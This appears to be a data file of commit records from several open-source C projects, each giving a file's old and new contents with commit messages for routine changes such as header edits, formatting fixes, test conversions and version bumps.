{"commit":"afa6a8d6434f31dc87242e42e2875f2efd4f9000","old_file":"firmware\/main\/Wifi.h","new_file":"firmware\/main\/Wifi.h","old_contents":"\/*\n * Wifi.h\n *\n * Copyright (C) 2018 [ A Legge Up ]\n *\n * This software may be modified and distributed under the terms\n * of the MIT license.  See the LICENSE file for details.\n *\/\n\n#ifndef MAIN_WIFI_H_\n#define MAIN_WIFI_H_\n\n#include \"esp_err.h\"\n#include \"esp_wifi.h\"\n\nclass Wifi {\n\n    public:\n        Wifi();\n        virtual ~Wifi();\n\n        esp_err_t eventHandler(void *ctx, system_event_t *event);\n};\n\n#endif \/* MAIN_WIFI_H_ *\/\n","new_contents":"\/*\n * Wifi.h\n *\n * Copyright (C) 2018 [ A Legge Up ]\n *\n * This software may be modified and distributed under the terms\n * of the MIT license.  See the LICENSE file for details.\n *\/\n\n#ifndef MAIN_WIFI_H_\n#define MAIN_WIFI_H_\n\n#include \"esp_err.h\"\n#include \"esp_wifi.h\"\n\nclass Wifi {\n\n    public:\n        Wifi();\n        virtual ~Wifi();\n\n        static esp_err_t eventHandler(void *ctx, system_event_t *event);\n};\n\n#endif \/* MAIN_WIFI_H_ *\/\n","subject":"Change eventHandler to static member","message":"Change eventHandler to static member\n","lang":"C","license":"mit","repos":"ALeggeUp\/confagrid,ALeggeUp\/confagrid,ALeggeUp\/confagrid,ALeggeUp\/confagrid,ALeggeUp\/confagrid"}
{"commit":"09f9e77d09c72943aec8763311e7609c7678002a","old_file":"roms\/include\/gmzpu_io.h","new_file":"roms\/include\/gmzpu_io.h","old_contents":"","new_contents":"\n\/* 18 bits => 0x00000 - 0x3FFFF => 256kb *\/\n#define\tADDR_W\t\t\t18\n\n#define ZWC_CS_W\t\t4\n#define ZWC_WB_ADR_W\t\tADDR_W - ZMC_CS_W - 3\n#define ZWC_CS_SIZE\t\t( (1<<ZWC_WB_ADR_W)-1 )\n\n\n\/*\n * 0x00000 - 0x1FFFF: RAM\n * 0x20000 - 0x2FFFF: phiIO\n * 0x30000 - 0x3FFFF: zwishbone\n *\n *\n *\/\n#define\t\tIO_MASK\t\t\t(1<<(ADDR_W-1))\n#define\t\tZWC_MASK\t\t(1<<(ADDR_W-2))\n\n\/*\n * 0x30000          : ZWC_CONFIG\n * 0x30004          : ZWC_STATUS\n * 0x38000 - 0x37ff : ZWC_0_BASE\n * 0x38800 - 0x38ff : ZWC_1_BASE\n * 0x38900 - 0x39ff : ZWC_2_BASE\n * 0x38a00 - 0x3aff : ZWC_3_BASE\n\n#define\t\tZWC_CONFIG\t\t(IO_MASK | ZWC_MASK)\n#define\t\tZWC_STATUS\t\t(IO_MASK | ZWC_MASK | 4)\n\n#define\t\tZWC_0_BASE\t\t(IO_MASK | ZWC_MASK | ZWC_BUS_MASK)\n#define\t\tZWC_1_BASE\t\t(ZWC_0_BASE + ZWC_CS_SIZE)\n#define\t\tZWC_2_BASE\t\t(ZWC_1_BASE + ZWC_CS_SIZE)\n#define\t\tZWC_3_BASE\t\t(ZWC_2_BASE + ZWC_CS_SIZE)\n\/* etc... *\/\n\n","subject":"Add basic memory and io map.","message":"Add basic memory and io map.\n","lang":"C","license":"bsd-3-clause","repos":"sonologic\/gmzpu,sonologic\/gmzpu,sonologic\/gmzpu"}
{"commit":"7e56885dbd46d1eb53d2082e906a6e2e2d7972af","old_file":"src\/lcthw\/list_algos.h","new_file":"src\/lcthw\/list_algos.h","old_contents":"#ifndef lcthw_List_algos_h\n#define lcthw_List_algos_h\n\n#include <lcthw\/list.h>\n\ntypedef int (*List_compare)(void *a, void *b);\n\nint List_bubble_sort(List *list, List_compare cmp);\n\nList *List_merge_sort(List *list, List_compare cmp);\n\n#endif\n","new_contents":"#ifndef lcthw_List_algos_h\n#define lcthw_List_algos_h\n\n#include <lcthw\/list.h>\n\ntypedef int (*List_compare)(const void *a, const void *b);\n\nint List_bubble_sort(List *list, List_compare cmp);\n\nList *List_merge_sort(List *list, List_compare cmp);\n\n#endif\n","subject":"Make the compare const void.","message":"Make the compare const void.\n","lang":"C","license":"bsd-3-clause","repos":"HappyYang\/liblcthw,HappyYang\/liblcthw,HappyYang\/liblcthw"}
{"commit":"a7adc6e1d178b9827ad3d3d689af8a41bf6f96bd","old_file":"subversion\/libsvn_ra\/util.c","new_file":"subversion\/libsvn_ra\/util.c","old_contents":"","new_contents":"\/*\n * util.c:  Repository access utility routines.\n *\n * ====================================================================\n * Copyright (c) 2007 CollabNet.  All rights reserved.\n *\n * This software is licensed as described in the file COPYING, which\n * you should have received as part of this distribution.  The terms\n * are also available at http:\/\/subversion.tigris.org\/license-1.html.\n * If newer versions of this license are posted there, you may use a\n * newer version instead, at your option.\n *\n * This software consists of voluntary contributions made by many\n * individuals.  For exact contribution history, see the revision\n * history and logs, available at http:\/\/subversion.tigris.org\/.\n * ====================================================================\n *\/\n\n\/* ==================================================================== *\/\n\f\n\/*** Includes. ***\/\n#include <apr_pools.h>\n\n#include \"svn_types.h\"\n#include \"svn_error.h\"\n#include \"svn_error_codes.h\"\n#include \"svn_ra.h\"\n\n#include \"svn_private_config.h\"\n\n\n\/* Return an error with code SVN_ERR_UNSUPPORTED_FEATURE, and an error\n   message referencing PATH_OR_URL, if the \"server\" pointed to be\n   RA_SESSION doesn't support Merge Tracking (e.g. is pre-1.5).\n   Perform temporary allocations in POOL. *\/\nsvn_error_t *\nsvn_ra__assert_mergeinfo_capable_server(svn_ra_session_t *ra_session,\n                                        const char *path_or_url,\n                                        apr_pool_t *pool)\n{\n  svn_boolean_t mergeinfo_capable;\n  SVN_ERR(svn_ra_has_capability(ra_session, &mergeinfo_capable,\n                                SVN_RA_CAPABILITY_MERGEINFO, pool));\n  if (! mergeinfo_capable)\n    {\n      if (path_or_url == NULL)\n        {\n          svn_error_t *err = svn_ra_get_session_url(ra_session, &path_or_url,\n                                                    pool);\n          if (err)\n            {\n              \/* The SVN_ERR_UNSUPPORTED_FEATURE error is more important,\n                 so dummy up the session's URL and chuck this error. *\/\n              svn_error_clear(err);\n              path_or_url = \"<repository>\";\n            }\n        }\n      return svn_error_createf(SVN_ERR_UNSUPPORTED_FEATURE, NULL,\n                               _(\"Retrieval of mergeinfo unsupported by '%s'\"),\n                               svn_path_local_style(path_or_url, pool));\n    }\n  return SVN_NO_ERROR;\n}\n","subject":"Make 'svn mergeinfo' and its underlying APIs error out when talking to a pre-1.5 repository.","message":"Make 'svn mergeinfo' and its underlying APIs error out when talking to\na pre-1.5 repository.\n\nThis change includes tests capable of being run against either a 1.4\nor 1.5 server (and was run against both).\n\n[ Note: All but subversion\/libsvn_ra\/util.c was committed in r28172. ]\n\n\n* TODO-1.5-branch\n  Remove TODO item completed by this commit.\n\n* subversion\/include\/svn_client.h\n  (svn_client_mergeinfo_get_merged, svn_client_mergeinfo_get_available):\n   Document that an error with the code SVN_ERR_UNSUPPORTED_FEATURE is\n   returned when the server doesn't support Merge Tracking.\n\n* subversion\/include\/svn_ra.h\n  (svn_ra_get_mergeinfo): Ditto, with note about inapplicability to\n   ra_local.\n\n* subversion\/include\/private\/svn_ra_private.h\n  Add new Subversion-private header file, which currently declares\n  only the svn_ra__assert_mergeinfo_capable_server() API.\n\n* subversion\/libsvn_client\/mergeinfo.h\n  (svn_client__get_repos_mergeinfo): Add SQUELCH_INCAPABLE parameter, used\n   to ignore a SVN_ERR_UNSUPPORTED_FEATURE returned by a server that\n   doesn't support Merge Tracking.\n\n* subversion\/libsvn_client\/mergeinfo.c\n  Include private\/svn_ra_private.h.\n  (svn_client__get_repos_mergeinfo): Add SQUELCH_INCAPABLE parameter, used\n   to ignore a SVN_ERR_UNSUPPORTED_FEATURE returned by a server that\n   doesn't support Merge Tracking.\n  (svn_client__get_wc_or_repos_mergeinfo): Adjust for\n   svn_client__get_repos_mergeinfo() API change.\n  (get_mergeinfo): Return an error if the server doesn't support Merge\n   Tracking.  Improve APR pool usage.\n  (svn_client_mergeinfo_get_available): Call get_mergeinfo() first to\n   leverage its new server Merge Tracking capabilities check.\n\n* subversion\/libsvn_client\/copy.c\n  (calculate_target_mergeinfo): Adjust for svn_client__get_repos_mergeinfo()\n   API change\n\n* subversion\/libsvn_client\/merge.c\n  (filter_reflected_revisions): Ditto.\n\n* subversion\/libsvn_ra\/ra_loader.c\n  Include private\/svn_ra_private.h.\n  (svn_ra_get_mergeinfo): Return an error if the server doesn't\n   support Merge Tracking.\n\n* subversion\/libsvn_ra\/util.c\n  Add new Subversion-private header file, which currently defines\n  only the svn_ra__assert_mergeinfo_capable_server() API.\n\n* subversion\/libsvn_ra_svn\/client.c\n  (ra_svn_get_mergeinfo): Remove SVN_RA_SVN_CAP_MERGEINFO capabilities\n   check, which is now handled by ra_loader.c.\n\n* subversion\/libsvn_ra_neon\/mergeinfo.c\n  (svn_ra_neon__get_mergeinfo)))): Don't squelch a 501 HTTP status\n   code (which is otherwise subsequently converted into an\n   svn_error_t) encountered while making a mergeinfo REPORT request.\n\n* subversion\/libsvn_ra_serf\/mergeinfo.c\n  (svn_ra_serf__get_mergeinfo): Don't squelch an SVN_ERR_UNSUPPORTED_FEATURE\n   error encountered while making a mergeinfo REPORT request.\n\n* subversion\/tests\/cmdline\/mergeinfo_tests.py\n  Import the server_has_mergeinfo() function.\n  (adjust_error_for_server_version): Add a new function that returns\n   the expected error regexp appropriate for the server version used by\n   the test suite.\n  (no_mergeinfo): Leverage adjust_error_for_server_version(), and\n   adjust for run_and_verify_mergeinfo() API changes.\n  (mergeinfo): Provide a very basic implementation of the test.\n\n* subversion\/tests\/cmdline\/svntest\/actions.py\n  (run_and_verify_mergeinfo): Replace EXPECTED_PATHS, EXPECTED_SOURCE_PATHS,\n   and EXPECTED_ELIGIBLE_REVS parameters with EXPECTED_OUTPUT, which is a\n   dict of the format:\n     { path : { source path : (merged ranges, eligible ranges) } }\n   Correct\/add parser expectations, adjust for parser API changes, and\n   re-implement function accordingly.  Be sure to bail out early if a\n   1.4 server is detected.\n\n* subversion\/tests\/cmdline\/svntest\/parsers.py\n  (MergeinfoReportParser): Add a comment showing some sample output.\n  (MergeinfoReportParser.STATE_MERGED_RANGES,\n   MergeinfoReportParser.STATE_ELIGIBLE_RANGES): Add new constants,\n   the latter a replacement for STATE_ELIGIBLE_REVS.\n  (MergeinfoReportParser.STATE_TRANSITIONS): Correct\/add possible\n   state transitions.\n  (MergeinfoReportParser.STATE_TOKENS): Correct\/add tokens present in\n   the output.\n  (MergeinfoReportParser.__init__): Replace \"paths\", \"source_paths\",\n   and \"eligible_revs\" instance members with \"report\" dict.  Add\n   \"cur_target_path\" and \"cur_source_path\" members to maintain some\n   necessary parser state.  Replace \"state_to_storage\" dict with\n   \"parser_callbacks\" dict of callback functions.\n  (parsed_target_path, parsed_source_path, parsed_merged_ranges,\n   parsed_eligible_ranges): Add parser callback functions invoked from\n   the \"parser_callbacks\" dict.\n  (parse): Replace use of \"state_to_storage\" with \"parser_callbacks\".\n\n\ngit-svn-id: f8a4e5e023278da1e04e203c7fe051e3c4285d88@868248 13f79535-47bb-0310-9956-ffa450edef68\n","lang":"C","license":"apache-2.0","repos":"wbond\/subversion,YueLinHo\/Subversion,YueLinHo\/Subversion,YueLinHo\/Subversion,YueLinHo\/Subversion,YueLinHo\/Subversion,YueLinHo\/Subversion,wbond\/subversion,wbond\/subversion,wbond\/subversion,wbond\/subversion,wbond\/subversion,YueLinHo\/Subversion,YueLinHo\/Subversion,wbond\/subversion"}
{"commit":"a86329164a7d3c82cf04d1f3443b00e1fc6347e5","old_file":"rt\/cgen\/cowgol-cgen.h","new_file":"rt\/cgen\/cowgol-cgen.h","old_contents":"#ifndef COWGOL_CGEN_H\n#define COWGOL_CGEN_H\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <stdint.h>\n#include <string.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <errno.h>\n\ntypedef uint8_t i1;\ntypedef uint16_t i2;\ntypedef uint32_t i4;\ntypedef uint64_t i8;\n\ntypedef int8_t s1;\ntypedef int16_t s2;\ntypedef int32_t s4;\ntypedef int64_t s8;\n\nextern i8* __top;\nextern i8* __himem;\nextern i8* global_argv;\n\ntypedef union data data;\nunion data\n{\n\ti8 i8;\n\ti4 i4[2];\n\tvoid* ptr;\n};\n\n#endif\n\n","new_contents":"#ifndef COWGOL_CGEN_H\n#define COWGOL_CGEN_H\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <stdint.h>\n#include <string.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <errno.h>\n#include <endian.h>\n\n#if BYTE_ORDER == BIG_ENDIAN\n#error \"Sorry, cowgol cgen doesn't work on big endian machines yet.\"\n#endif\n\ntypedef uint8_t i1;\ntypedef uint16_t i2;\ntypedef uint32_t i4;\ntypedef uint64_t i8;\n\ntypedef int8_t s1;\ntypedef int16_t s2;\ntypedef int32_t s4;\ntypedef int64_t s8;\n\nextern i8* __top;\nextern i8* __himem;\nextern i8* global_argv;\n\ntypedef union data data;\nunion data\n{\n\ti8 i8;\n\ti4 i4[2];\n\tvoid* ptr;\n};\n\n#endif\n\n","subject":"Annotate that we don't work on big-endian systems yet..","message":"Annotate that we don't work on big-endian systems yet..\n","lang":"C","license":"bsd-2-clause","repos":"davidgiven\/cowgol,davidgiven\/cowgol"}
{"commit":"d9bcea381a69ebc6367aede7816b8e27d5fc9417","old_file":"include\/extensions.h","new_file":"include\/extensions.h","old_contents":"#ifndef _SWAY_EXTENSIONS_H\n#define _SWAY_EXTENSIONS_H\n\n#include <wayland-server.h>\n#include <wlc\/wlc-wayland.h>\n#include \"wayland-desktop-shell-server-protocol.h\"\n#include \"list.h\"\n\nstruct background_config {\n        wlc_handle output;\n        wlc_resource surface;\n        \/\/ we need the wl_resource of the surface in the destructor\n        struct wl_resource *wl_surface_res;\n        \/\/ used to determine if client is a background\n\tstruct wl_client *client;\n};\n\nstruct panel_config {\n        \/\/ wayland resource used in callbacks, is used to track this panel\n        struct wl_resource *wl_resource;\n        wlc_handle output;\n        wlc_resource surface;\n        \/\/ we need the wl_resource of the surface in the destructor\n        struct wl_resource *wl_surface_res;\n        enum desktop_shell_panel_position panel_position;\n        \/\/ used to determine if client is a panel\n\tstruct wl_client *client;\n};\n\nstruct desktop_shell_state {\n        list_t *backgrounds;\n        list_t *panels;\n        list_t *lock_surfaces;\n        bool is_locked;\n};\n\nstruct swaylock_state {\n        bool active;\n        wlc_handle output;\n        wlc_resource surface;\n};\n\nextern struct desktop_shell_state desktop_shell;\n\nvoid register_extensions(void);\n\n#endif\n","new_contents":"#ifndef _SWAY_EXTENSIONS_H\n#define _SWAY_EXTENSIONS_H\n\n#include <wayland-server.h>\n#include <wlc\/wlc-wayland.h>\n#include \"wayland-desktop-shell-server-protocol.h\"\n#include \"list.h\"\n\nstruct background_config {\n\twlc_handle output;\n\twlc_resource surface;\n\t\/\/ we need the wl_resource of the surface in the destructor\n\tstruct wl_resource *wl_surface_res;\n\t\/\/ used to determine if client is a background\n\tstruct wl_client *client;\n};\n\nstruct panel_config {\n\t\/\/ wayland resource used in callbacks, is used to track this panel\n\tstruct wl_resource *wl_resource;\n\twlc_handle output;\n\twlc_resource surface;\n\t\/\/ we need the wl_resource of the surface in the destructor\n\tstruct wl_resource *wl_surface_res;\n\tenum desktop_shell_panel_position panel_position;\n\t\/\/ used to determine if client is a panel\n\tstruct wl_client *client;\n};\n\nstruct desktop_shell_state {\n\tlist_t *backgrounds;\n\tlist_t *panels;\n\tlist_t *lock_surfaces;\n\tbool is_locked;\n};\n\nstruct swaylock_state {\n\tbool active;\n\twlc_handle output;\n\twlc_resource surface;\n};\n\nextern struct desktop_shell_state desktop_shell;\n\nvoid register_extensions(void);\n\n#endif\n","subject":"Fix formatting guide violations (spaces instead of tabs)","message":"Fix formatting guide violations (spaces instead of tabs)\n","lang":"C","license":"mit","repos":"1ace\/sway,sleep-walker\/sway,mikkeloscar\/sway,taiyu-len\/sway,1ace\/sway,ascent12\/sway,ascent12\/sway,4e554c4c\/sway,ascent12\/sway,mikkeloscar\/sway,sleep-walker\/sway,johalun\/sway,SirCmpwn\/sway,4e554c4c\/sway,ptMuta\/sway,1ace\/sway,taiyu-len\/sway,taiyu-len\/sway"}
{"commit":"5651bcff404d3c6352c22f1bdc9f959a8c5efdb7","old_file":"include\/sys\/select.h","new_file":"include\/sys\/select.h","old_contents":"\/* \n * Copyright (C) 2014, Galois, Inc.\n * This sotware is distributed under a standard, three-clause BSD license.\n * Please see the file LICENSE, distributed with this software, for specific\n * terms and conditions.\n *\/\n#ifndef MINLIBC_SYS_SELECT_H\n#define MINLIBC_SYS_SELECT_H\n\n#include <time.h>\n\ntypedef struct {} fd_set;\n\nint select(int nfds, fd_set *readfds, fd_set *writefds,\n              fd_set *exceptfds, struct timeval *timeout);\n\n#define FD_SET(x,y) \/* *\/\n#define FD_ZERO(x) \/* *\/\n\n#endif\n","new_contents":"\/* \n * Copyright (C) 2014, Galois, Inc.\n * This sotware is distributed under a standard, three-clause BSD license.\n * Please see the file LICENSE, distributed with this software, for specific\n * terms and conditions.\n *\/\n#ifndef MINLIBC_SYS_SELECT_H\n#define MINLIBC_SYS_SELECT_H\n\n#include <time.h>\n\ntypedef struct {} fd_set;\n\nint select(int nfds, fd_set *readfds, fd_set *writefds,\n              fd_set *exceptfds, struct timeval *timeout);\n\n#define FD_SET(x,y) \/* *\/\n#define FD_ZERO(x) \/* *\/\n#define FD_SETSIZE 1024\n\n#endif\n","subject":"Add a definition for FD_SETSIZE.","message":"Add a definition for FD_SETSIZE.\n","lang":"C","license":"bsd-3-clause","repos":"GaloisInc\/minlibc,GaloisInc\/minlibc"}
{"commit":"7a9c7c2303dcd388acfc7467473f3cdc0facbd91","old_file":"test\/CodeGen\/bool-convert.c","new_file":"test\/CodeGen\/bool-convert.c","old_contents":"\/\/ RUN: %clang_cc1 -emit-llvm < %s | grep i1 | count 1\n\/\/ All of these should uses the memory representation of _Bool\nstruct teststruct1 {_Bool a, b;} test1;\n_Bool* test2;\n_Bool test3[10];\n_Bool (*test4)[];\nvoid f(int x) {\n  _Bool test5;\n  _Bool test6[x];\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -triple i686-pc-linux -emit-llvm < %s | FileCheck %s\n\/\/ All of these should uses the memory representation of _Bool\n\n\/\/ CHECK-LABEL: %struct.teststruct1 = type { i8, i8 }\n\/\/ CHECK-LABEL: @test1 = common global %struct.teststruct1\nstruct teststruct1 {_Bool a, b;} test1;\n\n\/\/ CHECK-LABEL: @test2 = common global i8* null\n_Bool* test2;\n\n\/\/ CHECK-LABEL: @test3 = common global [10 x i8]\n_Bool test3[10];\n\n\/\/ CHECK-LABEL: @test4 = common global [0 x i8]* null\n_Bool (*test4)[];\n\n\/\/ CHECK-LABEL: define void @f(i32 %x)\nvoid f(int x) {\n  \/\/ CHECK: alloca i8, align 1\n  _Bool test5;\n\n  \/\/ CHECK: alloca i8, i32 %{{.*}}, align 1\n  _Bool test6[x];\n}\n","subject":"Convert test to FileCheck and make it more strict.","message":"Convert test to FileCheck and make it more strict.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@197248 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"404a921b9e5499eea8bc1bd5e77ce4bf572935db","old_file":"kernel\/port\/include\/kernel\/port\/bitwhack.h","new_file":"kernel\/port\/include\/kernel\/port\/bitwhack.h","old_contents":"#ifndef KERNEL_PORT_BITWHACK_H\n#define KERNEL_PORT_BITWHACK_H\n\n\/* Helpers for bitwhacking. *\/\n\n\/**\n * Macros for constructing bit masks.\n *\n * When bitwise-anded with another value:\n *\n * MASK_LO(n) masks out the lowest n bits.\n * MASK_HI(n) masks out all but the lowest n bits.\n * MASK_RANGE(lo, hi) masks out all of the bits on the interval [lo, hi]\n * (inclusive).\n *\n * The KEEP_* macros produce masks that are the inverse of their MASK_*\n * counterparts.\n *\/\n#define MASK_LO(bits) ((-1)<<(bits))\n#define KEEP_LO(bits) (~MASK_LO(bits))\n#define MASK_HI(bits) KEEP_LO(bits)\n#define KEEP_HI(bits) MASK_LO(bits)\n#define KEEP_RANGE(lo, hi) (MASK_LO(lo) & MASK_HI(hi))\n#define MASK_RANGE(lo, hi) (~KEEP_RANGE(lo, hi))\n\n#endif\n","new_contents":"#ifndef KERNEL_PORT_BITWHACK_H\n#define KERNEL_PORT_BITWHACK_H\n\n\/* Helpers for bitwhacking. *\/\n\n\/**\n * Macros for constructing bit masks.\n *\n * When bitwise-anded with another value:\n *\n * MASK_LO(n) masks out the lowest n bits.\n * MASK_HI(n) masks out all but the lowest n bits.\n * MASK_RANGE(lo, hi) masks out all of the bits on the interval [lo, hi]\n * (inclusive).\n *\n * The KEEP_* macros produce masks that are the inverse of their MASK_*\n * counterparts.\n *\/\n#define MASK_LO(bits) ((~0u)<<(bits))\n#define KEEP_LO(bits) (~MASK_LO(bits))\n#define MASK_HI(bits) KEEP_LO(bits)\n#define KEEP_HI(bits) MASK_LO(bits)\n#define KEEP_RANGE(lo, hi) (MASK_LO(lo) & MASK_HI(hi))\n#define MASK_RANGE(lo, hi) (~KEEP_RANGE(lo, hi))\n\n#endif\n","subject":"Fix warning re: signed shift","message":"Fix warning re: signed shift\n\nClang complained that shifting a negative number is UB. So we make sure\nthe constant is unsigned.\n","lang":"C","license":"isc","repos":"zenhack\/zero,zenhack\/zero,zenhack\/zero"}
{"commit":"42a8766842fa05d1eebdf88b484e32ea22ce9c11","old_file":"fmpz_vec\/test\/t-scalar_divexact_fmpz.c","new_file":"fmpz_vec\/test\/t-scalar_divexact_fmpz.c","old_contents":"","new_contents":"\/*=============================================================================\n\n    This file is part of FLINT.\n\n    FLINT is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    FLINT is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with FLINT; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301 USA\n\n=============================================================================*\/\n\/******************************************************************************\n\n    Copyright (C) 2009, 2010 William Hart\n    Copyright (C) 2010 Sebastian Pancratz\n\n******************************************************************************\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <mpir.h>\n#include \"flint.h\"\n#include \"fmpz.h\"\n#include \"fmpz_vec.h\"\n#include \"ulong_extras.h\"\n\nint\nmain(void)\n{\n    int result;\n    printf(\"scalar_divexact_fmpz....\");\n    fflush(stdout);\n\n    _fmpz_vec_randinit();\n\n    \/\/ Check aliasing of a and b\n    for (ulong i = 0; i < 10000UL; i++)\n    {\n        fmpz *a, *b, *c;\n        fmpz_t n;\n        ulong length = n_randint(100);\n        fmpz_init(n);\n        fmpz_randtest(n, 100);\n        if (n_randint(2))\n            fmpz_neg(n, n);\n\n        a = _fmpz_vec_init(length);\n        b = _fmpz_vec_init(length);\n        _fmpz_vec_randtest(a, length, n_randint(200));\n\n        _fmpz_vec_scalar_mul_fmpz(b, a, length, n);\n        _fmpz_vec_scalar_mul_fmpz(a, a, length, n);\n\n        result = (_fmpz_vec_equal(a, b, length));\n        if (!result)\n        {\n            printf(\"FAIL:\\n\");\n            _fmpz_vec_print(a, length), printf(\"\\n\\n\");\n            _fmpz_vec_print(b, length), printf(\"\\n\\n\");\n            abort();\n        }\n\n        _fmpz_vec_clear(a, length);\n        _fmpz_vec_clear(b, length);\n        fmpz_clear(n);\n    }\n\n    _fmpz_vec_randclear();\n\n    _fmpz_cleanup();\n    printf(\"PASS\\n\");\n    return 0;\n}\n","subject":"Add a test for fmpz_vec_scalar_divexact_fmpz","message":"Add a test for fmpz_vec_scalar_divexact_fmpz\n","lang":"C","license":"lgpl-2.1","repos":"dsroche\/flint2,wbhart\/flint2,dsroche\/flint2,dsroche\/flint2,jpflori\/flint2,fredrik-johansson\/flint2,wbhart\/flint2,jpflori\/flint2,fredrik-johansson\/flint2,jpflori\/flint2,wbhart\/flint2,jpflori\/flint2,dsroche\/flint2,fredrik-johansson\/flint2"}
{"commit":"852c5cd346c86778e7c37905f32887e179389a53","old_file":"UIforETW\/Version.h","new_file":"UIforETW\/Version.h","old_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.32f;\r\n","new_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.40f;\r\n","subject":"Increment version number from 1.32 to 1.40","message":"Increment version number from 1.32 to 1.40\n\nThe code that checked for new versions was discarding the last digit of\nthe version numbers that it read from the releases web page. This means\nthat it wouldn't notice new versions until the 0.1 column changes. So\nI'm changing it. Apologies for the hack. The version checking code has\nbeen fixed so incrementing the 0.01 column will be sufficient next time.\n","lang":"C","license":"apache-2.0","repos":"google\/UIforETW,google\/UIforETW,MikeMarcin\/UIforETW,MikeMarcin\/UIforETW,MikeMarcin\/UIforETW,mwinterb\/UIforETW,ariccio\/UIforETW,google\/UIforETW,mwinterb\/UIforETW,ariccio\/UIforETW,ariccio\/UIforETW,google\/UIforETW,ariccio\/UIforETW,mwinterb\/UIforETW"}
{"commit":"8696d1a75abab568a0d5089f39fdafb2e447bd17","old_file":"tree\/treeplayer\/inc\/DataFrameLinkDef.h","new_file":"tree\/treeplayer\/inc\/DataFrameLinkDef.h","old_contents":"\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __ROOTCLING__\n\n\/\/ All these are there for the autoloading\n#pragma link C++ class ROOT::Experimental::TDataFrame-;\n#pragma link C++ class ROOT::Experimental::TDataFrameInterface<ROOT::Detail::TDataFrameFilterBase>-;\n#pragma link C++ class ROOT::Experimental::TDataFrameInterface<ROOT::Detail::TDataFrameBranchBase>-;\n\n#endif\n","new_contents":"\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __ROOTCLING__\n\n\/\/ All these are there for the autoloading\n#pragma link C++ class ROOT::Experimental::TDataFrame-;\n#pragma link C++ class ROOT::Experimental::TDataFrameInterface<ROOT::Detail::TDataFrameFilterBase>-;\n#pragma link C++ class ROOT::Experimental::TDataFrameInterface<ROOT::Detail::TDataFrameBranchBase>-;\n#pragma link C++ class ROOT::Detail::TDataFrameImpl-;\n\n#endif\n","subject":"Add another autoload key for TDataFrameImpl'","message":"[TDF] Add another autoload key for TDataFrameImpl'\n","lang":"C","license":"lgpl-2.1","repos":"gganis\/root,gganis\/root,gganis\/root,gganis\/root,gganis\/root,gganis\/root,gganis\/root,gganis\/root,gganis\/root,gganis\/root,gganis\/root"}
{"commit":"e2133c86896b2728ea97a9028b97a65cdb695973","old_file":"test\/Analysis\/stats.c","new_file":"test\/Analysis\/stats.c","old_contents":"\/\/ RUN: %clang_cc1 -analyze -analyzer-stats %s 2> FileCheck\n\nvoid foo() {\n  ;\n}\n\/\/ CHECK: ... Statistics Collected ...\n","new_contents":"\/\/ RUN: %clang_cc1 -analyze -analyzer-stats %s 2>&1 | FileCheck %s\n\/\/ XFAIL: *\n\nvoid foo() {\n  ;\n}\n\/\/ CHECK: ... Statistics Collected ...\n","subject":"Fix a test case that was added in r151570. The redirect of output was broken so no testing was actually done. Further, the commands produce no output. The redirection has been fixed and the test has been disabled.","message":"Fix a test case that was added in r151570.  The redirect of output was broken\nso no testing was actually done.  Further, the commands produce no output.\nThe redirection has been fixed and the test has been disabled.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@151591 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
